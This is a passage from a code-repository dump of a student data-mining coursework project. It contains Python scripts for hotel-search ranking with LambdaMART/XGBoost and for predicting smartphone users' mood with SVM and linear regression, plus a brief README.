"repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport features\n\n\nfiles = ['../data/downsampled_crossvalidation_set.csv', '../data/upsampled_crossvalidation_set.csv', '../data/full_crossvalidation_set.csv',\n'../data/downsampled_training_set_only.csv', '../data/full_training_set_only.csv', '../data/upsampled_training_set_only.csv']\n\nfiles = ['../data/testing_set_only.csv']\n\nfor file in files:\n\n df = pd.read_csv(file)\n\n df = features.relevance_score(df)\n # separate booked, clicked and neither\n booked = df[df['relevance'] == 0]\n clicked = df[df['relevance'] == 1]\n neither = df[df['relevance'] == 5]\n\n print(len(booked.index))\n print(len(clicked.index))\n print(len(neither.index))\n\n df.to_csv(file)\n" }, { "alpha_fraction": 0.8374999761581421, "alphanum_fraction": 0.8374999761581421, "avg_line_length": 39, "blob_id": "c7d985137e80ed97c4e37cb85e608dfa71ae1154", "content_id": "5eda57b5b22cb17bfd5fcca4e2ed1ae927eb5c8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 80, "license_type": "no_license", "max_line_length": 54, "num_lines": 2, "path": "/README.md", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "# data-mining-techniques\nRepository for assignments for Data Mining Techniques.\n" }, { "alpha_fraction": 0.6464258432388306, "alphanum_fraction": 0.6556494832038879, "avg_line_length": 27.91111183166504, "blob_id": "5204aa3e0b512c011aa98f052cbe95f6d3bba670", "content_id": "026204e1814378b695f16183683678a2837e7ca8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1301, "license_type": "no_license", "max_line_length": 70, "num_lines": 45, "path": "/Assignment2/code/model.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import load\nimport features\nimport xgboost as xgb\nfrom sklearn.metrics import accuracy_score\n\ndef lambda_mart(train, test):\n\n '''XGBoost model for ranking known as LambdaMART'''\n\n X_train = train.drop('relevance', axis=1)\n y_train = train['relevance']\n X_test = test.drop('relevance', axis=1)\n y_test = test['relevance'].as_matrix()\n\n dtrain = xgb.DMatrix(X_train, label=y_train)\n dtest = xgb.DMatrix(X_test, label=y_test)\n\n # hyperparameters\n param = {'max_depth':5, 'eta':0.01, 'objective':'rank:ndcg' }\n num_round = 20\n\n # specify model\n model = xgb.train(param, dtrain, num_round)\n\n # predict\n preds = model.predict(dtest)\n return preds, y_test\n\n\nif __name__ == '__main__':\n\n traindataset = '../data/downsampled_training_set.csv'\n train_data = load.loaddata(traindataset)\n train_data = train_data.drop('date_time', axis=1)\n train_data = features.relevance_score(train_data)\n\n testdataset = '../data/test_subset.csv'\n test_data = load.loaddata(testdataset)\n test_data = test_data.drop('date_time', axis=1)\n test_data = features.relevance_score(test_data)\n\n y_pred, y_test = lambda_mart(train_data, test_data)\n print(len(y_test))\n print(len(y_pred))\n #print('Accuracy: {0:.4f}'.format(accuracy_score(y_test, y_pred)))\n" }, { "alpha_fraction": 0.7178217768669128, "alphanum_fraction": 0.7287128567695618, "avg_line_length": 23.047618865966797, "blob_id": "65b7a8076a4b84b22945df89a68535322d094730", "content_id": "556722730d5b9a606ef0b36c7d0f68d9a019da33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1010, "license_type": "no_license", "max_line_length": 89, "num_lines": 42, "path": "/Assignment1/code/linearregr.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import preprocess\nimport pivot\nimport pandas as pd\nfrom scipy.stats import pearsonr\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nimport numpy as np\nimport statsmodels.api as sm\nfrom sklearn.metrics import mean_squared_error, accuracy_score\nimport matplotlib.pyplot as plt\n\n\ndef linearregr(X_train, X_test, Y_train, Y_test):\n\n\n\t# Fit and summarize OLS model\n\tmod = sm.OLS(Y_train, X_train)\n\tres = mod.fit()\n\typred = res.predict(X_test)\n\n\tresiduals = Y_test - ypred\n\n\tplt.scatter(ypred, residuals)\n\tplt.axhline(0)\n\tplt.xlabel(\"Fitted values\")\n\tplt.ylabel(\"Residuals\")\n\tplt.title(\"Fitted values vs. residuals\")\n\tplt.show()\n\n\n\t# Define accuracy with 10% error range\n\taccuracy = []\n\tfor i in range(len(ypred)):\n\t\tif ypred.values[i] < Y_test.values[i]*1.05 and ypred.values[i] > Y_test.values[i]*0.95:\n\t\t\taccuracy.append(1)\n\t\telse:\n\t\t\taccuracy.append(0)\n\n\tmse = mean_squared_error(Y_test, ypred)\n\tacc = float(sum(accuracy)) / float(len(ypred.values))\n\n\treturn mse, acc, accuracy\n" }, { "alpha_fraction": 0.5660722255706787, "alphanum_fraction": 0.5692729949951172, "avg_line_length": 28.554054260253906, "blob_id": "7f773fd66141583b61df21d1dbe5d07861d10a44", "content_id": "260b8cb456324f497dbd4b72888e8043cea20751", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2187, "license_type": "no_license", "max_line_length": 93, "num_lines": 74, "path": "/Assignment2/code/models.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import load\nimport process\nimport features\nimport pandas as pd\nimport lambdamart as fn\nimport numpy as np\n\n\ndef lambdamart(train, test, nr_trees, lr, datatype, write=False, hyperparams = True):\n\n # Transfer train-data to format for LambdaMart\n train_np, _ = load.lambdamartformat(train)\n test_np, idx_to_doc = load.lambdamartformat(test, True)\n\n # Train LambdaMart model\n model = fn.LambdaMART(training_data=train_np, number_of_trees=nr_trees, learning_rate=lr)\n model.fit()\n\n # Save model for later use\n name = '../results/models/lambdamart_' + str(nr_trees) + '_' + str(lr)\n model.save(name)\n\n\t# Predict for test data\n # predicted_scores = model.predict(test_np[:,1:])\n avg_ndcg, predicted_scores = model.validate(test_np, 10)\n #predicted_scores = model.predict(test_np[:,1:])\n\n order = np.argsort(predicted_scores)\n\n\t# Map ordered relevance scores to document ids\n ordered_docs = [idx_to_doc[idx] for idx in order]\n\n # Save ranking\n file = '../results/lambdamart_' + str(nr_trees) + '_' + str(lr) + '_' + datatype + '.txt'\n with open(file, 'w+') as f:\n f.write('srch_id, prop_id \\n')\n\n ndcgs = []\n\n # Get ranking for every query in test set\n queries = test['srch_id'].unique().tolist()\n\n for q in queries:\n # Get documents for q\n documents = test.loc[test['srch_id'] == q]['prop_id'].to_list()\n relevance = test.loc[test['srch_id'] == q]['relevance'].tolist()\n\n k = len(documents)\n\n # Get ranking based on relevance scores from lambdamart\n ranking = [x for x in ordered_docs if x in documents]\n\n # Calculate ndcg\n dcg = fn.dcg_k(relevance, k)\n idcg = fn.ideal_dcg_k(relevance, k)\n\n print(relevance)\n\n if idcg == 0:\n ndcg = 0.0\n else:\n ndcg = dcg / idcg\n\n ndcgs.append(ndcg)\n\n average_ndcg = np.mean(ndcgs)\n # if write == True:\n # for doc in ranking:\n # line = str(q) + ',' + str(doc) + '\\n'\n # f.write(line)\n\n # f.close()\n\n return average_ndcg\n" }, { "alpha_fraction": 0.6205365657806396, "alphanum_fraction": 0.6310823559761047, "avg_line_length": 34.55921173095703, "blob_id": "415046b6df9a30adac515e012ba8baac4b907c0d", "content_id": "b210e0a23aa8d09ad0d5331fee2dbda2a8edbe2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5405, "license_type": "no_license", "max_line_length": 124, "num_lines": 152, "path": "/Assignment1/code/main.py", "repo_name": "kimdebie/data-mining-techniques", "src_encoding": "UTF-8", "text": "import preprocess\nimport pivot\nimport pandas as pd\nfrom scipy.stats import pearsonr\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom SVM import SVM_model, balanced_classes\nfrom linearregr import linearregr\nfrom benchmark import benchmark\nfrom scipy.stats import wilcoxon\n\n\nfilename = 'dataset_mood_smartphone.csv'\nfilename_clean = 'cleaned_normalized.csv'\n\n\ndef main():\n\n ############## PRE PROCESS DATA (only once) #############################\n data = preprocess.load(filename)\n clean_data = preprocess.clean(data)\n\n ############## READ CLEANED DATA ########################################\n data = pd.read_csv(filename_clean)\n data = data.drop(columns=[\"Unnamed: 0\"])\n print(data.head())\n\n ############## EXTRACT FEATURES #########################################\n\n unobtrusive = data\n\n ## Create dataset including obtrusive features ##\n\n # removing all redundant columns / keeping those that we want features for\n cols_to_keep = [\"id\", \"time\", \"mood\", \"sun\", \\\n \"rain\", \"max_temp\", \"total_appuse\", \"activity\", \"circumplex.arousal\", \\\n \"circumplex.valence\", \"weekdaydummy0\", \"weekdaydummy1\", \"weekdaydummy2\", \\\n \"weekdaydummy3\", \"weekdaydummy4\", \"weekdaydummy5\", \"weekdaydummy6\"]\n\n data = data[cols_to_keep]\n\n # creating lagged variables for the following columns (with defined durations)\n columns_to_lag = [\"mood\", \"circumplex.arousal\", \"circumplex.valence\", \"total_appuse\", \"max_temp\"]\n lags = [4, 3, 3, 3, 3]\n\n for i, col in enumerate(columns_to_lag):\n data = pivot.create_lagged_vars(data, col, lags=lags[i])\n\n # many rows are unusable so we drop them\n data = data.dropna()\n\n data.to_csv(\"with_features.csv\")\n\n ## Creating unobtrusive-only dataset ##\n\n # removing all redundant columns / keeping those that we want features for\n un_cols_to_keep = [\"id\", \"time\", \"mood\", \"sun\", \\\n \"rain\", \"max_temp\", \"total_appuse\", \"activity\", \"weekdaydummy0\", \"weekdaydummy1\", \\\n \"weekdaydummy2\", \"weekdaydummy3\", \"weekdaydummy4\", \"weekdaydummy5\", \"weekdaydummy6\"]\n\n unobtrusive = unobtrusive[un_cols_to_keep]\n\n # creating lagged variables for the following columns (with defined durations)\n un_columns_to_lag = [\"total_appuse\", \"max_temp\"]\n lags = [4, 3]\n\n for i, col in enumerate(un_columns_to_lag):\n unobtrusive = pivot.create_lagged_vars(unobtrusive, col, lags=lags[i])\n\n # many rows are unusable so we drop them\n unobtrusive = unobtrusive.dropna()\n\n unobtrusive.to_csv(\"unobtrusive_with_features.csv\")\n\n\n ## Correlations\n\n features = pd.read_csv('with_features.csv',index_col=0)\n correlations = calculate_pvalues(features)\n correlations.to_csv('correlations.csv')\n correlations = correlations.astype(float)\n correlations = correlations.drop(['time'], axis=1)\n correlations = correlations.drop(['time', 'mood', 'total_appuse_lag2', 'total_appuse_lag3', \\\n 'max_temp_lag2', 'max_temp_lag3', 'circumplex.arousal_lag2', 'circumplex.arousal_lag3', \\\n 'circumplex.valence_lag2', 'circumplex.valence_lag3'], axis=0)\n plt.figure()\n sns.heatmap(correlations[['mood', 'circumplex.arousal', 'circumplex.valence']], vmin=0, vmax=1, center=0.5, linewidth=3)\n plt.show()\n\ndef calculate_pvalues(df):\n df = df.dropna()._get_numeric_data()\n dfcols = pd.DataFrame(columns=df.columns)\n pvalues = dfcols.transpose().join(dfcols, how='outer')\n for r in df.columns:\n for c in df.columns:\n p_value = round(pearsonr(df[r], df[c])[1], 4)\n pvalues[r][c] = p_value\n\n # for reading purposes, significant results are marked with an asterix\n # if p_value <= 0.05:\n # pvalues[r][c] = str(p_value) + '*'\n #\n # else:\n # pvalues[r][c] = p_value\n return pvalues\nif __name__ == '__main__':\n\n main()\n\n data = pd.read_csv('unobtrusive_with_features.csv',index_col=0)\n\n # create class labels for SVM\n n_classes = 4\n data = balanced_classes(data, data['mood'].as_matrix(), n_classes)\n\n # split data in training and test set\n msk = np.random.rand(len(data)) < 0.8\n train_data = data[msk]\n test_data = data[~msk]\n\n print(train_data.shape, test_data.shape)\n\n X_train = train_data.drop(['mood', 'label', 'id', 'time'], axis=1)\n X_test = test_data.drop(['mood', 'label', 'id', 'time'], axis=1)\n Y_train_svm = train_data['label']\n Y_train = train_data['mood']\n Y_test_svm = test_data['label']\n Y_test = test_data['mood']\n\n print(len(test_data))\n\n # perform experiments with different models\n mse, acc, correct_class_svm = SVM_model(X_train, X_test, Y_train_svm, Y_test_svm)\n print(\"SVM Accuracy: {}, MSE: {}\".format(acc, mse))\n\n mse2, acc2, correct_class_regr = linearregr(X_train, X_test, Y_train, Y_test)\n print(\"Lin. Regression Accuracy: {}, MSE: {}\".format(acc2, mse2))\n\n mse3, acc3, correct_class_bench = benchmark(test_data)\n print(\"Benchmark Accuracy: {}, MSE: {}\".format(acc3,mse3))\n\n print(\"svm, bench\")\n print(len(correct_class_bench))\n print(len(correct_class_svm))\n print(len(correct_class_regr))\n print(wilcoxon(correct_class_svm, correct_class_bench))\n print(\"svm, lin\")\n print(wilcoxon(correct_class_svm, correct_class_regr))\n print(\"bench, lin\")\n print(wilcoxon(correct_class, regr, correct_class_bench))\n" } ]
22
leeyonghwan/mario
https://github.com/leeyonghwan/mario
95f24cf3f3cc18e79a1265dc0a36d8141713a464
d72d30e9b269e5d94531a1efa8c9dadeab77d897
67a5ab0f3fc9a2a58bd4f046b8b9690cabe76fe2
refs/heads/master
2020-03-22T09:27:50.809047
2018-07-06T00:40:52
2018-07-06T00:40:52
139,839,447
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4701468348503113, "alphanum_fraction": 0.5029151439666748, "avg_line_length": 50.2963981628418, "blob_id": "352b5915f494fc4c4b7a489a015673bbda7485e3", "content_id": "40df127279041750748994a56dfaa5bdaf0e8028", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18524, "license_type": "no_license", "max_line_length": 248, "num_lines": 361, "path": "/mario_dqn_vgg.py", "repo_name": "leeyonghwan/mario", "src_encoding": "UTF-8", "text": "# original DQN 2015 source from https://github.com/nalsil/kimhun_rl_windows/blob/master/07_3_dqn_2015_cartpole.py\n# The code is updated to play super mario by Jinman Chang\n# super mario game can be downloaded at https://github.com/ppaquette/gym-super-mario\n\n# ##### is marked where is updated\n# explanation for this code is at http://jinman190.blogspot.ca/2017/10/rl.html\n\n\n###############################################################################super mario initialized\nimport gym\nimport ppaquette_gym_super_mario\n\n\n\nfrom gym.envs.registration import register\nfrom gym.scoreboard.registration import add_group\nfrom gym.scoreboard.registration import add_task\n\n\nregister(\n id='SuperMarioBros-1-1-v0',\n entry_point='gym.envs.ppaquette_gym_super_mario:MetaSuperMarioBrosEnv',\n)\n\nadd_group(\n id='ppaquette_gym_super_mario',\n name='ppaquette_gym_super_mario',\n description='super_mario'\n)\n\nadd_task(\n id='SuperMarioBros-1-1-v0',\n group='ppaquette_gym_super_mario',\n summary=\"SuperMarioBros-1-1-v0\"\n)\n#################################################################################\n\n\n\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nfrom collections import deque\n\nfrom gym import wrappers\n\nenv = gym.make('ppaquette/SuperMarioBros-1-1-v0') #####update game title\n\n# Constants defining our neural network\ninput_size = np.array([env.observation_space.shape[0], env.observation_space.shape[1], 15])#env.observation_space.shape[0]*env.observation_space.shape[1]*3 #####change input_size - 224*256*3 acquired from ppaquette_gym_super_mario/nes_env.py\noutput_size = 6 #####meaning of output can be found at ppaquette_gym_super_mario/wrappers/action_space.py\n_skip = 4\ndis = 0.9\nREPLAY_MEMORY = 50000\n\nclass DQN:\n def __init__(self, session, input_size, output_size, name=\"main\"):\n self.session = session\n self.input_size = input_size\n self.output_size = output_size\n self.net_name = name\n\n self._build_network()\n\n def _build_network(self, h_size=10, l_rate=1e-1):\n# with tf.variable_scope(self.net_name):\n# self._X = tf.placeholder(tf.float32, [None, self.input_size], name=\"input_x\")\n#\n# # First layer of weights\n# W1 = tf.get_variable(\"W1\", shape=[self.input_size, h_size],\n# initializer=tf.contrib.layers.xavier_initializer())\n# layer1 = tf.nn.relu(tf.matmul(self._X, W1))\n#\n# # Second layer of Weights1\n# W2 = tf.get_variable(\"W2\", shape=[h_size, self.output_size],\n# initializer=tf.contrib.layers.xavier_initializer())\n#\n# # Q prediction\n# self._Qpred = tf.matmul(layer1, W2)\n#\n self._l_rate = tf.placeholder(tf.float32)\n self._X = tf.placeholder(tf.float32, [None, self.input_size[0], self.input_size[1], self.input_size[2]], name=\"input_x\")\n self._P = tf.placeholder(tf.float32, [None, 2, 6, 5], name=\"input_p\")\n\n with tf.variable_scope(self.net_name):\n self._l_rate = tf.placeholder(tf.float32)\n self._X = tf.placeholder(tf.float32, [None, self.input_size[0], self.input_size[1], self.input_size[2]], name=\"input_x\")\n self._P = tf.placeholder(tf.float32, [None, 2, 6, 5], name=\"input_p\")\n \n with tf.name_scope(\"VGG_Layer1\"):\n VGG_Layer1_1 = tf.layers.conv2d(self._X, filters=int(64), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer1_conv1')\n VGG_Layer1_1 = tf.nn.relu(VGG_Layer1_1)\n VGG_Layer1_2 = tf.layers.conv2d(VGG_Layer1_1, filters=int(64), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer1_conv2')\n VGG_Layer1_2 = tf.nn.relu(VGG_Layer1_2)\n # shape (B, h, w, 64)->(B, h/2, w/2, 64)\n with tf.name_scope(\"VGG_Layer2\"):\n ########################################################################################################\n VGG_Layer2_1 = tf.layers.conv2d(VGG_Layer1_2, filters=int(128), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer2_conv1')\n VGG_Layer2_1 = tf.nn.relu(VGG_Layer2_1) # shape (B, h/2, w/2, 64)->(B, h/2, w/2, 128)\n ########################################################################################################\n VGG_Layer2_2 = tf.layers.conv2d(VGG_Layer2_1, filters=int(128), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer2_conv2')\n VGG_Layer2_2 = tf.nn.relu(VGG_Layer2_2) # shape (B, h/2, w/2, 128)->(B, h/4, w/4, 128)\n ########################################################################################################\n with tf.name_scope(\"VGG_Layer3\"):\n ########################################################################################################\n VGG_Layer3_1 = tf.layers.conv2d(VGG_Layer2_2, filters=int(256), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer3_conv1')\n VGG_Layer3_1 = tf.nn.relu(VGG_Layer3_1) # shape (B, h/4, w/4, 128)->(B, h/4, w/4, 256)\n ########################################################################################################\n VGG_Layer3_2 = tf.layers.conv2d(VGG_Layer3_1, filters=int(256), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer3_conv2')\n VGG_Layer3_2 = tf.nn.relu(VGG_Layer3_2) # shape (B, h/4, w/4, 256)->(B, h/4, w/4, 256)\n ########################################################################################################\n VGG_Layer3_3 = tf.layers.conv2d(VGG_Layer3_2, filters=int(256), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer3_conv3')\n VGG_Layer3_3 = tf.nn.relu(VGG_Layer3_3) # shape (B, h/4, w/4, 256)->(B, h/8, w/8, 256)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Layer4\"):\n ########################################################################################################\n VGG_Layer4_1 = tf.layers.conv2d(VGG_Layer3_3, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer4_conv1')\n VGG_Layer4_1 = tf.nn.relu(VGG_Layer4_1) # shape (B, h/8, w/8, 256)->(B, h/8, w/8, 512)\n ########################################################################################################\n VGG_Layer4_2 = tf.layers.conv2d(VGG_Layer4_1, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer4_conv2')\n VGG_Layer4_2 = tf.nn.relu(VGG_Layer4_2) # shape (B, h/8, w/8, 512)->(B, h/8, w/8, 512)\n ########################################################################################################\n VGG_Layer4_3 = tf.layers.conv2d(VGG_Layer4_2, filters=int(512), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer4_conv3')\n VGG_Layer4_3 = tf.nn.relu(VGG_Layer4_3) # shape (B, h/8, w/8, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Layer5\"):\n ########################################################################################################\n VGG_Layer5_1 = tf.layers.conv2d(VGG_Layer4_3, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer5_conv1')\n VGG_Layer5_1 = tf.nn.relu(VGG_Layer5_1) # shape (B, h/16, w/16, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n VGG_Layer5_2 = tf.layers.conv2d(VGG_Layer5_1, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer5_conv2')\n VGG_Layer5_2 = tf.nn.relu(VGG_Layer5_2) # shape (B, h/16, w/16, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n VGG_Layer5_3 = tf.layers.conv2d(VGG_Layer5_2, filters=int(512), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer5_conv3')\n VGG_Layer5_3 = tf.nn.relu(VGG_Layer5_3) # shape (B, h/16, w/16, 512)->(B, h/32, w/32, 512)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Qpred\"):\n VGG_Layer6_1 = tf.layers.conv2d(VGG_Layer5_3, filters=100, kernel_size=[2, 3], strides=[1, 1], padding='VALID')\n VGG_Layer6_1 = tf.nn.relu(VGG_Layer6_1)\n VGG_Layer6_1 = tf.contrib.layers.flatten(VGG_Layer6_1)\n JOYSTICK_Layer = tf.contrib.layers.flatten(self._P)\n VGG_Layer6_2 = tf.concat([VGG_Layer6_1, JOYSTICK_Layer], axis=1)\n VGG_Layer6_2 = tf.layers.dense(VGG_Layer6_2, units=100, use_bias=False)\n VGG_Layer6_2 = tf.nn.relu(VGG_Layer6_2)\n VGG_Layer6_3 = tf.layers.dense(VGG_Layer6_2, units=50, use_bias=False)\n VGG_Layer6_3 = tf.nn.relu(VGG_Layer6_3)\n self._Qpred = tf.layers.dense(VGG_Layer6_3, units=self.output_size, use_bias=False)\n\n# self.inference = out\n# self._Qpred = tf.argmax(self.inference, 1)\n # We need to define the parts of the network needed for learning a policy\n self._Y = tf.placeholder(shape=[None, self.output_size], dtype=tf.float32)\n\n # Loss function\n self._loss = tf.reduce_mean(tf.square(self._Y - self._Qpred))\n # Learning\n self._train = tf.train.AdamOptimizer(learning_rate=l_rate).minimize(self._loss)\n\n def predict(self, state):\n x = np.reshape(state, [1, self.input_size[0], self.input_size[1], self.input_size[2]])\n action_seq = np.reshape(action_seq, [1, 2, 6, 5])\n return self.session.run(self._Qpred, feed_dict={self._X: x, self._P: action_seq})\n\n # def update(self, x_stack, y_stack):\n # return self.session.run([self._loss, self._train], feed_dict={self._X: x_stack, self._Y: y_stack})\n def update(self, x_stack, y_stack, action_seq, l_rate = 1e-5):\n #x_stack = np.reshape(x_stack, (-1, self.input_size))\n x_stack = np.reshape(x_stack, (-1, self.input_size[0], self.input_size[1], self.input_size[2]))\n action_seq = np.reshape(action_seq, [-1, 2, 6, 5])\n return self.session.run([self._loss, self._train], feed_dict={self._X: x_stack, self._Y: y_stack, self._P: action_seq, self._l_rate: l_rate})\n\ndef replay_train(mainDQN, targetDQN, train_batch):\n x_stack = np.empty(0).reshape(0, input_size)\n y_stack = np.empty(0).reshape(0, output_size)\n\n # Get stored information from the buffer\n for state, action, reward, next_state, done in train_batch:\n Q = mainDQN.predic(state)\n\n # terminal?\n if done:\n Q[0, action] = reward\n else:\n # get target from target DQN (Q')\n Q[0, action] = reward + dis * np.max(targetDQN.predict(next_state))\n\n y_stack = np.vstack([y_stack, Q])\n x_stack = np.vstack( [x_stack, state])\n\n # Train our network using target and predicted Q values on each episode\n return mainDQN.update(x_stack, y_stack)\n\ndef ddqn_replay_train(mainDQN, targetDQN, train_batch, l_rate):\n '''\n Double DQN implementation\n :param mainDQN: main DQN\n :param targetDQN: target DQN\n :param train_batch: minibatch for train\n :return: loss\n '''\n x_stack = np.empty(0).reshape(0, mainDQN.input_size[0]*mainDQN.input_size[1]*mainDQN.input_size[2])\n y_stack = np.empty(0).reshape(0, mainDQN.output_size)\n action_stack = np.empty(0).reshape(0, 60)\n # Get stored information from the buffer\n for state, action, reward, next_state, done in train_batch:\n if state is None: #####why does this happen?\n print(\"None State, \", action, \" , \", reward, \" , \", next_state, \" , \", done)\n else:\n Q = mainDQN.predict(state)\n\n # terminal?\n if done:\n Q[0, action] = reward\n else:\n # Double DQN: y = r + gamma * targetDQN(s')[a] where\n # a = argmax(mainDQN(s'))\n # Q[0, action] = reward + dis * targetDQN.predict(next_state)[0, np.argmax(mainDQN.predict(next_state))]\n Q[0, action] = reward + dis * np.max(targetDQN.predict(next_state)) #####use normal one for now\n\n y_stack = np.vstack([y_stack, Q])\n x_stack = np.vstack([x_stack, state.reshape(-1, mainDQN.input_size[0]*mainDQN.input_size[1]*mainDQN.input_size[2])]) #####change shape to fit to super mario\n action_stack = np.vstack([action_stack, np.reshape(action_seq, (-1, 60))])\n\n # Train our network using target and predicted Q values on each episode\n return mainDQN.update(x_stack, y_stack, action_stack, l_rate = l_rate)\n\ndef get_copy_var_ops(*, dest_scope_name=\"target\", src_scope_name=\"main\"):\n\n # Copy variables src_scope to dest_scope\n op_holder = []\n\n src_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=src_scope_name)\n dest_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=dest_scope_name)\n\n for src_var, dest_var in zip(src_vars, dest_vars):\n op_holder.append(dest_var.assign(src_var.value()))\n\n return op_holder\n\ndef bot_play(mainDQN, env=env):\n # See our trained network in action\n state = env.reset()\n reward_sum = 0\n while True:\n env.render()\n action = np.argmax(mainDQN.predict(state))\n state, reward, done, _ = env.step(action)\n reward_sum += reward\n if done:\n print(\"Total score: {}\".format(reward_sum))\n break\n\ndef _step(action):\n total_reward = 0.0\n done = None\n _obs_buffer = deque(maxlen=2)\n for _ in range(_skip):\n obs, reward, done, info = env.step(action)\n _obs_buffer.append(obs)\n total_reward += reward\n if done:\n break\n\n max_frame = np.max(np.stack(_obs_buffer), axis=0)\n return max_frame, total_reward, done, info\n\n\ndef main():\n max_episodes = 5000\n # store the previous observations in replay memory\n replay_buffer = deque()\n # saver = tf.train.Saver()\n \n max_distance = 0\n with tf.Session() as sess:\n mainDQN = DQN(sess, input_size, output_size, name=\"main\")\n targetDQN = DQN(sess, input_size, output_size, name=\"target\")\n tf.global_variables_initializer().run()\n\n #initial copy q_net -> target_net\n copy_ops = get_copy_var_ops(dest_scope_name=\"target\", src_scope_name=\"main\")\n sess.run(copy_ops)\n\n for episode in range(max_episodes):\n e = 1. / ((episode / 20) + 1)\n done = False\n step_count = 0\n state = env.reset()\n\n while not done:\n if np.random.rand(1) < e or state is None or state.size == 1: #####why does this happen?\n action = env.action_space.sample()\n else:\n # Choose an action by greedily from the Q-network\n #action = np.argmax(mainDQN.predict(state))\n action = mainDQN.predict(state).flatten().tolist() #####flatten it and change it as a list\n# for i in range(len(output)): #####the action list has to have only integer 1 or 0\n# if action[i] > 0.5 :\n# action[i] = 1 #####integer 1 only, no 1.0\n# else:\n# action[i] = 0 #####integer 0 only, no 0.0\n\n# action = OutputToAction3(output)\n# print(\"random action:\", output, \"output \" , action)\n\n # Get new state and reward from environment\n next_state, reward, done, info = _step(action)\n \n #print(\"Episode: {} \".format(next_state));\n \n if info['distance'] > max_distance:\n max_distance = info['distance']\n \n if done: # Penalty\n reward = -100\n print(\"distance \", max_distance, \" current distance \",info['distance'] )\n\n # Save the experience to our buffer\n replay_buffer.append((state, action, reward, next_state, done))\n if len(replay_buffer) > REPLAY_MEMORY:\n replay_buffer.popleft()\n\n state = next_state\n step_count += 1\n if step_count > 10000: # Good enough. Let's move on\n break\n\n print(\"Episode: {} steps: {}\".format(episode, step_count))\n if step_count > 10000:\n pass\n # break\n\n if episode % 10 == 1: # train every 10 episode\n # Get a random batch of experiences\n for _ in range(50):\n minibatch = random.sample(replay_buffer, 10)\n\n l_rate = (1e-5 - 1e-4) * (1 / max_episodes) * episode + 1e-4\n loss, _ = ddqn_replay_train(mainDQN, targetDQN, minibatch, l_rate=l_rate)\n\n print(\"Loss: \", loss)\n # copy q_net -> target_net\n sess.run(copy_ops)\n\n # See our trained bot in action\n env2 = wrappers.Monitor(env, 'gym-results', force=True)\n \n #save_path = saver.save(sess, \"./mario_model_1\")\n \n for i in range(200):\n bot_play(mainDQN, env=env2)\n\n env2.close()\n # gym.upload(\"gym-results\", api_key=\"sk_VT2wPcSSOylnlPORltmQ\")\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.45841020345687866, "alphanum_fraction": 0.5029424428939819, "avg_line_length": 49.1541862487793, "blob_id": "ddc0baad9883fc07be6e300aa7bfb2f4fc9cfbd2", "content_id": "51ff1bdd7d5d7d612ce399a6f088a0b5ea21b889", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11385, "license_type": "no_license", "max_line_length": 193, "num_lines": 227, "path": "/run_dqn_atari.py", "repo_name": "leeyonghwan/mario", "src_encoding": "UTF-8", "text": "import argparse\nimport os.path as osp\nimport random\n\nimport gym\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow.contrib.layers as layers\nfrom gym import wrappers\nimport ppaquette_gym_super_mario\n\n\n\nfrom gym.envs.registration import register\nfrom gym.scoreboard.registration import add_group\nfrom gym.scoreboard.registration import add_task\n\n\n\nregister(\n id='SuperMarioBros-1-1-v0',\n entry_point='gym.envs.ppaquette_gym_super_mario:MetaSuperMarioBrosEnv',\n)\n\nadd_group(\n id='ppaquette_gym_super_mario',\n name='ppaquette_gym_super_mario',\n description='super_mario'\n)\n\nadd_task(\n id='SuperMarioBros-1-1-v0',\n group='ppaquette_gym_super_mario',\n summary=\"SuperMarioBros-1-1-v0\"\n)\n\nimport dqn\nfrom atari_wrappers import *\nfrom dqn_utils import *\nimport argparse\n\ndef atari_model(img_in, num_actions, scope, reuse=False):\n # as described in 